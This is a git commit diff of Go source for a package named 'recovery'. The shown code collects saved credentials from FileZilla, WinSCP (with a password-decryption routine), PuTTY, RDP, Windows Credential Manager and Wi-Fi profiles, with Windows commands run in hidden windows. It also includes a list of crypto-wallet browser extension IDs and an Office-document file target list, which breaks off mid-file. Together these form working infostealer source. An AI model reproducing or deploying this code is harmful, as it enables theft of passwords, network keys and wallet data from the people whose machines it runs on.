initial commit
This commit is contained in:
@@ -0,0 +1,137 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func ScanApps() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
results = append(results, scanFileZillaUnix()...)
|
||||
if runtime.GOOS == "darwin" {
|
||||
results = append(results, scanWiFiDarwin()...)
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
type fzServerUnix struct {
|
||||
XMLName xml.Name `xml:"Server"`
|
||||
Host string `xml:"Host"`
|
||||
Port int `xml:"Port"`
|
||||
Protocol int `xml:"Protocol"`
|
||||
User string `xml:"User"`
|
||||
Pass string `xml:"Pass"`
|
||||
}
|
||||
|
||||
type fzSiteManagerUnix struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServerUnix `xml:"Servers>Server"`
|
||||
}
|
||||
|
||||
type fzRecentServersUnix struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServerUnix `xml:"RecentServers>Server"`
|
||||
}
|
||||
|
||||
func scanFileZillaUnix() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
fzDir := filepath.Join(home, ".config", "filezilla")
|
||||
if runtime.GOOS == "darwin" {
|
||||
fzDir = filepath.Join(home, ".config", "filezilla")
|
||||
}
|
||||
|
||||
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
|
||||
path := filepath.Join(fzDir, file)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var servers []fzServerUnix
|
||||
if file == "sitemanager.xml" {
|
||||
var sm fzSiteManagerUnix
|
||||
if xml.Unmarshal(data, &sm) == nil {
|
||||
servers = sm.Servers
|
||||
}
|
||||
} else {
|
||||
var rs fzRecentServersUnix
|
||||
if xml.Unmarshal(data, &rs) == nil {
|
||||
servers = rs.Servers
|
||||
}
|
||||
}
|
||||
|
||||
for _, s := range servers {
|
||||
if s.Host == "" {
|
||||
continue
|
||||
}
|
||||
port := s.Port
|
||||
if port == 0 {
|
||||
port = 21
|
||||
}
|
||||
protocol := "ftp"
|
||||
switch s.Protocol {
|
||||
case 1:
|
||||
protocol = "sftp"
|
||||
case 3, 4:
|
||||
protocol = "ftps"
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "FileZilla",
|
||||
Host: s.Host,
|
||||
Port: port,
|
||||
Username: s.User,
|
||||
Password: s.Pass,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanWiFiDarwin() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var networks []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
name := strings.TrimSpace(line)
|
||||
if name == "" || strings.HasPrefix(name, "Preferred networks") {
|
||||
continue
|
||||
}
|
||||
networks = append(networks, name)
|
||||
}
|
||||
|
||||
for _, name := range networks {
|
||||
pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output()
|
||||
password := ""
|
||||
if err == nil {
|
||||
password = strings.TrimSpace(string(pw))
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WiFi",
|
||||
Host: name,
|
||||
Password: password,
|
||||
Protocol: "wifi",
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,614 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var (
|
||||
advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
|
||||
procCredFree = advapi32.NewProc("CredFree")
|
||||
)
|
||||
|
||||
const (
|
||||
credTypeGeneric = 1
|
||||
credTypeDomainPassword = 2
|
||||
credTypeDomainCertificate = 3
|
||||
)
|
||||
|
||||
type winCredential struct {
|
||||
Flags uint32
|
||||
Type uint32
|
||||
TargetName *uint16
|
||||
Comment *uint16
|
||||
LastWritten syscall.Filetime
|
||||
CredentialBlobSize uint32
|
||||
CredentialBlob *byte
|
||||
Persist uint32
|
||||
AttributeCount uint32
|
||||
Attributes uintptr
|
||||
TargetAlias *uint16
|
||||
UserName *uint16
|
||||
}
|
||||
|
||||
func ScanApps() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
results = append(results, scanRDP()...)
|
||||
results = append(results, scanWinSCP()...)
|
||||
results = append(results, scanPuTTY()...)
|
||||
results = append(results, scanFileZilla()...)
|
||||
results = append(results, scanCredentialManager()...)
|
||||
results = append(results, scanWiFi()...)
|
||||
return results
|
||||
}
|
||||
|
||||
// ── RDP ────────────────────────────────────────────────────────────────
|
||||
|
||||
func scanRDP() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
// Registry: saved connection history with usernames
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err == nil {
|
||||
defer k.Close()
|
||||
servers, _ := k.ReadSubKeyNames(-1)
|
||||
for _, server := range servers {
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
username, _, _ := sk.GetStringValue("UsernameHint")
|
||||
sk.Close()
|
||||
|
||||
r := types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Host: server,
|
||||
Port: 3389,
|
||||
Username: username,
|
||||
Protocol: "rdp",
|
||||
}
|
||||
|
||||
// Try to get the password from Credential Manager
|
||||
pw := credManagerLookup("TERMSRV/" + server)
|
||||
if pw != "" {
|
||||
r.Password = pw
|
||||
}
|
||||
results = append(results, r)
|
||||
}
|
||||
}
|
||||
|
||||
// Also scan Credential Manager for TERMSRV/* entries not in the registry
|
||||
creds := enumCredentials()
|
||||
seen := make(map[string]bool)
|
||||
for _, r := range results {
|
||||
seen[strings.ToLower(r.Host)] = true
|
||||
}
|
||||
for _, c := range creds {
|
||||
target := strings.ToLower(c.target)
|
||||
if !strings.HasPrefix(target, "termsrv/") {
|
||||
continue
|
||||
}
|
||||
host := c.target[len("TERMSRV/"):]
|
||||
if seen[strings.ToLower(host)] {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Host: host,
|
||||
Port: 3389,
|
||||
Username: c.username,
|
||||
Password: c.password,
|
||||
Protocol: "rdp",
|
||||
})
|
||||
}
|
||||
|
||||
// Scan for .rdp files
|
||||
results = append(results, scanRDPFiles()...)
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanRDPFiles() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
dirs := []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
|
||||
for _, dir := range dirs {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
|
||||
continue
|
||||
}
|
||||
path := filepath.Join(dir, e.Name())
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
r := parseRDPFile(string(data))
|
||||
if r.Host != "" {
|
||||
r.Extra = path
|
||||
results = append(results, r)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func parseRDPFile(content string) types.AppCredentialResult {
|
||||
r := types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Protocol: "rdp",
|
||||
Port: 3389,
|
||||
}
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
parts := strings.SplitN(line, ":", 3)
|
||||
if len(parts) < 3 {
|
||||
continue
|
||||
}
|
||||
key := strings.ToLower(strings.TrimSpace(parts[0]))
|
||||
val := strings.TrimSpace(parts[2])
|
||||
switch key {
|
||||
case "full address":
|
||||
if idx := strings.LastIndex(val, ":"); idx > 0 {
|
||||
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
|
||||
r.Host = val[:idx]
|
||||
r.Port = p
|
||||
continue
|
||||
}
|
||||
}
|
||||
r.Host = val
|
||||
case "username":
|
||||
r.Username = val
|
||||
case "server port":
|
||||
if p, err := strconv.Atoi(val); err == nil {
|
||||
r.Port = p
|
||||
}
|
||||
}
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
// ── WinSCP ─────────────────────────────────────────────────────────────
|
||||
|
||||
func scanWinSCP() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
sessions, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sess := range sessions {
|
||||
if sess == "Default%20Settings" {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hostname, _, _ := sk.GetStringValue("HostName")
|
||||
username, _, _ := sk.GetStringValue("UserName")
|
||||
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
||||
encPassword, _, _ := sk.GetStringValue("Password")
|
||||
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
|
||||
sk.Close()
|
||||
|
||||
if hostname == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
port := int(portNum)
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
|
||||
protocol := "sftp"
|
||||
switch fsProtocol {
|
||||
case 0:
|
||||
protocol = "sftp"
|
||||
case 5:
|
||||
protocol = "ftp"
|
||||
case 1:
|
||||
protocol = "scp"
|
||||
}
|
||||
|
||||
password := ""
|
||||
if encPassword != "" {
|
||||
password = decryptWinSCPPassword(encPassword, hostname, username)
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WinSCP",
|
||||
Host: hostname,
|
||||
Port: port,
|
||||
Username: username,
|
||||
Password: password,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func decryptWinSCPPassword(hex, hostname, username string) string {
|
||||
key := username + hostname
|
||||
|
||||
decNextChar := func(s string, idx int) (byte, int) {
|
||||
if idx+2 > len(s) {
|
||||
return 0, idx + 2
|
||||
}
|
||||
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
|
||||
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
|
||||
if err1 != nil || err2 != nil {
|
||||
return 0, idx + 2
|
||||
}
|
||||
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
|
||||
}
|
||||
|
||||
idx := 0
|
||||
flag, idx := decNextChar(hex, idx)
|
||||
|
||||
if flag == 0xFF {
|
||||
return ""
|
||||
}
|
||||
|
||||
_, idx = decNextChar(hex, idx) // skip unused byte
|
||||
|
||||
length, idx := decNextChar(hex, idx)
|
||||
|
||||
delLen, idx := decNextChar(hex, idx)
|
||||
for i := 0; i < int(delLen); i++ {
|
||||
_, idx = decNextChar(hex, idx)
|
||||
}
|
||||
|
||||
raw := make([]byte, 0, int(length))
|
||||
for i := 0; i < int(length); i++ {
|
||||
c, newIdx := decNextChar(hex, idx)
|
||||
idx = newIdx
|
||||
raw = append(raw, c)
|
||||
}
|
||||
|
||||
if len(key) > 0 {
|
||||
decrypted := make([]byte, len(raw))
|
||||
for i, c := range raw {
|
||||
decrypted[i] = c ^ key[i%len(key)]
|
||||
}
|
||||
return string(decrypted)
|
||||
}
|
||||
|
||||
return string(raw)
|
||||
}
|
||||
|
||||
// ── PuTTY ──────────────────────────────────────────────────────────────
|
||||
|
||||
func scanPuTTY() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
sessions, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sess := range sessions {
|
||||
if sess == "Default%20Settings" {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hostname, _, _ := sk.GetStringValue("HostName")
|
||||
username, _, _ := sk.GetStringValue("UserName")
|
||||
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
||||
protocol, _, _ := sk.GetStringValue("Protocol")
|
||||
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
|
||||
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
|
||||
sk.Close()
|
||||
|
||||
if hostname == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
port := int(portNum)
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
if protocol == "" {
|
||||
protocol = "ssh"
|
||||
}
|
||||
|
||||
extra := ""
|
||||
if keyFile != "" || proxyHost != "" {
|
||||
parts := []string{}
|
||||
if keyFile != "" {
|
||||
parts = append(parts, "key:"+keyFile)
|
||||
}
|
||||
if proxyHost != "" {
|
||||
parts = append(parts, "proxy:"+proxyHost)
|
||||
}
|
||||
extra = strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
// URL-decode session name for display purposes
|
||||
decodedName := strings.ReplaceAll(sess, "%20", " ")
|
||||
_ = decodedName
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "PuTTY",
|
||||
Host: hostname,
|
||||
Port: port,
|
||||
Username: username,
|
||||
Protocol: protocol,
|
||||
Extra: extra,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── FileZilla ──────────────────────────────────────────────────────────
|
||||
|
||||
type fzServer struct {
|
||||
XMLName xml.Name `xml:"Server"`
|
||||
Host string `xml:"Host"`
|
||||
Port int `xml:"Port"`
|
||||
Protocol int `xml:"Protocol"`
|
||||
User string `xml:"User"`
|
||||
Pass string `xml:"Pass"`
|
||||
}
|
||||
|
||||
type fzSiteManager struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServer `xml:"Servers>Server"`
|
||||
}
|
||||
|
||||
type fzRecentServers struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServer `xml:"RecentServers>Server"`
|
||||
}
|
||||
|
||||
func scanFileZilla() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
return nil
|
||||
}
|
||||
fzDir := filepath.Join(appdata, "FileZilla")
|
||||
|
||||
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
|
||||
path := filepath.Join(fzDir, file)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var servers []fzServer
|
||||
if file == "sitemanager.xml" {
|
||||
var sm fzSiteManager
|
||||
if xml.Unmarshal(data, &sm) == nil {
|
||||
servers = sm.Servers
|
||||
}
|
||||
} else {
|
||||
var rs fzRecentServers
|
||||
if xml.Unmarshal(data, &rs) == nil {
|
||||
servers = rs.Servers
|
||||
}
|
||||
}
|
||||
|
||||
for _, s := range servers {
|
||||
if s.Host == "" {
|
||||
continue
|
||||
}
|
||||
port := s.Port
|
||||
if port == 0 {
|
||||
port = 21
|
||||
}
|
||||
protocol := "ftp"
|
||||
switch s.Protocol {
|
||||
case 1:
|
||||
protocol = "sftp"
|
||||
case 3, 4:
|
||||
protocol = "ftps"
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "FileZilla",
|
||||
Host: s.Host,
|
||||
Port: port,
|
||||
Username: s.User,
|
||||
Password: s.Pass,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── Windows Credential Manager ─────────────────────────────────────────
|
||||
|
||||
type credEntry struct {
|
||||
target string
|
||||
username string
|
||||
password string
|
||||
credType uint32
|
||||
}
|
||||
|
||||
func enumCredentials() []credEntry {
|
||||
var count uint32
|
||||
var credsPtr uintptr
|
||||
|
||||
ret, _, _ := procCredEnumerateW.Call(
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
uintptr(unsafe.Pointer(&credsPtr)),
|
||||
)
|
||||
if ret == 0 || count == 0 {
|
||||
return nil
|
||||
}
|
||||
defer procCredFree.Call(credsPtr)
|
||||
|
||||
var results []credEntry
|
||||
for i := uint32(0); i < count; i++ {
|
||||
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
|
||||
c := (*winCredential)(unsafe.Pointer(entryPtr))
|
||||
target := windows.UTF16PtrToString(c.TargetName)
|
||||
username := ""
|
||||
if c.UserName != nil {
|
||||
username = windows.UTF16PtrToString(c.UserName)
|
||||
}
|
||||
password := ""
|
||||
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
|
||||
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
|
||||
password = string(blob)
|
||||
}
|
||||
results = append(results, credEntry{
|
||||
target: target,
|
||||
username: username,
|
||||
password: password,
|
||||
credType: c.Type,
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func credManagerLookup(target string) string {
|
||||
target = strings.ToLower(target)
|
||||
for _, c := range enumCredentials() {
|
||||
if strings.ToLower(c.target) == target {
|
||||
return c.password
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func scanCredentialManager() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
for _, c := range enumCredentials() {
|
||||
target := strings.ToLower(c.target)
|
||||
// Skip TERMSRV entries (already handled by RDP scanner)
|
||||
if strings.HasPrefix(target, "termsrv/") {
|
||||
continue
|
||||
}
|
||||
// Skip entries with no useful data
|
||||
if c.username == "" && c.password == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
typeName := "generic"
|
||||
switch c.credType {
|
||||
case credTypeDomainPassword:
|
||||
typeName = "domain"
|
||||
case credTypeDomainCertificate:
|
||||
typeName = "certificate"
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "CredManager",
|
||||
Host: c.target,
|
||||
Username: c.username,
|
||||
Password: c.password,
|
||||
Protocol: typeName,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── WiFi ───────────────────────────────────────────────────────────────
|
||||
|
||||
func scanWiFi() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profiles")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var profiles []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if idx := strings.Index(line, ": "); idx >= 0 {
|
||||
lower := strings.ToLower(line[:idx])
|
||||
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
|
||||
name := strings.TrimSpace(line[idx+2:])
|
||||
if name != "" {
|
||||
profiles = append(profiles, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, name := range profiles {
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
password := ""
|
||||
auth := ""
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if idx := strings.Index(line, ": "); idx >= 0 {
|
||||
lower := strings.ToLower(line[:idx])
|
||||
val := strings.TrimSpace(line[idx+2:])
|
||||
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
|
||||
password = val
|
||||
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
|
||||
auth = val
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WiFi",
|
||||
Host: name,
|
||||
Username: auth,
|
||||
Password: password,
|
||||
Protocol: "wifi",
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var knownWalletExtensions = map[string]string{
|
||||
"bhghoamapcdpbohphigoooaddinpkbai": "Authenticator",
|
||||
"fhbohimaelbohpjbbldcngcnapndodjp": "Binance",
|
||||
"fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp",
|
||||
"aodkkagnadcbobfpggfnjeongemjbjca": "BoltX",
|
||||
"aeachknmefphepccionboohckonoeemg": "Coin98",
|
||||
"hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase",
|
||||
"agoakfejjabomempkjlepdflaleeobhb": "Core",
|
||||
"pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit",
|
||||
"blnieiiffboillknjnepogjhkgnoapac": "Equal",
|
||||
"cgeeodpfagjceefieflmdfphplkenlfk": "Ever",
|
||||
"aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3",
|
||||
"ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha",
|
||||
"cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie",
|
||||
"hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda",
|
||||
"nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild",
|
||||
"fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony",
|
||||
"flpiciilemghbmfalicajoolhkkenfel": "Iconex",
|
||||
"cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty",
|
||||
"jblndlipeogpafnldhgmapagcccfchpi": "Kaikas",
|
||||
"pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain",
|
||||
"dmkamcknogkgcdfhhbddcghachkejeap": "Keplr",
|
||||
"kpfopkelmapcoipemfendmdcghnegimn": "Liquality",
|
||||
"nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX",
|
||||
"dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI",
|
||||
"efbglgofoippbgcjepnhiblaibcnclgk": "Martian",
|
||||
"afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math",
|
||||
"nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask",
|
||||
"ejbalbakoplchlghecdalmeeeajnimhm": "Metamask",
|
||||
"fcckkdbjnoikooededlapcalpionmalo": "Mobox",
|
||||
"lpfcbjknijpeeillifnkikgncikgfhdo": "Nami",
|
||||
"jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty",
|
||||
"fhilaheimglignddkjgofkcbgekhenbh": "Oxygen",
|
||||
"mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet",
|
||||
"ejjladinnckdgjemekebdpeokbikhfci": "Petra",
|
||||
"bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
|
||||
"phkbamefinggmakgklpkljjmgibohnba": "Pontem",
|
||||
"fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin",
|
||||
"lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal",
|
||||
"nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn",
|
||||
"pocmplpaccanhmnllbbkpgfliimjljgo": "Slope",
|
||||
"bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare",
|
||||
"fhmfendgdocmcbmfikdcogofphimnkno": "Sollet",
|
||||
"mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin",
|
||||
"cmndjbecilbocjfkibfbifhngkdmjgog": "Swash",
|
||||
"ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos",
|
||||
"aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation",
|
||||
"mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket",
|
||||
"nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton",
|
||||
"ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron",
|
||||
"egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
|
||||
"amkmjjmmflddogmhpjloimipbofnfjih": "Wombat",
|
||||
"hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI",
|
||||
"eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT",
|
||||
"bocpokimicclpaiekenaeelehdjllofo": "XinPay",
|
||||
"ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi",
|
||||
"kncchdigobghenbbaddojjnnaogfppfj": "iWallet",
|
||||
}
|
||||
|
||||
func ScanExtensions() []types.ExtensionResult {
|
||||
var results []types.ExtensionResult
|
||||
for _, cfg := range browser.Browsers {
|
||||
if cfg.IsFirefox {
|
||||
continue
|
||||
}
|
||||
profiles := browser.FindProfileDirs(cfg)
|
||||
for _, profile := range profiles {
|
||||
extDir := filepath.Join(profile.Path, "Extensions")
|
||||
entries, err := os.ReadDir(extDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
extID := e.Name()
|
||||
// Skip internal Chromium marker dirs
|
||||
if strings.HasPrefix(extID, "_") {
|
||||
continue
|
||||
}
|
||||
extIDDir := filepath.Join(extDir, extID)
|
||||
versionDirs, err := os.ReadDir(extIDDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, vd := range versionDirs {
|
||||
if !vd.IsDir() {
|
||||
continue
|
||||
}
|
||||
versionPath := filepath.Join(extIDDir, vd.Name())
|
||||
name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json"))
|
||||
category := ""
|
||||
if walletName, ok := knownWalletExtensions[extID]; ok {
|
||||
category = "wallet"
|
||||
if name == "" {
|
||||
name = walletName
|
||||
}
|
||||
}
|
||||
results = append(results, types.ExtensionResult{
|
||||
ExtID: extID,
|
||||
Name: name,
|
||||
Version: version,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
Path: versionPath,
|
||||
Category: category,
|
||||
})
|
||||
break // first version directory only
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
type manifestBasics struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
func readManifestBasics(path string) (name, version string) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "", ""
|
||||
}
|
||||
var m manifestBasics
|
||||
if err := json.Unmarshal(data, &m); err != nil {
|
||||
return "", ""
|
||||
}
|
||||
if strings.HasPrefix(m.Name, "__MSG_") {
|
||||
m.Name = ""
|
||||
}
|
||||
return m.Name, m.Version
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
const (
|
||||
maxFiles = 500
|
||||
maxScanDepth = 3
|
||||
maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
|
||||
MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch
|
||||
)
|
||||
|
||||
var targetExtensions = map[string]bool{
|
||||
// Office documents
|
||||
".docx": true, ".doc": true, ".docm": true,
|
||||
".xlsx": true, ".xls": true, ".xlsm": true,
|
||||
".pptx": true, ".ppt": true, ".pptm": true,
|
||||
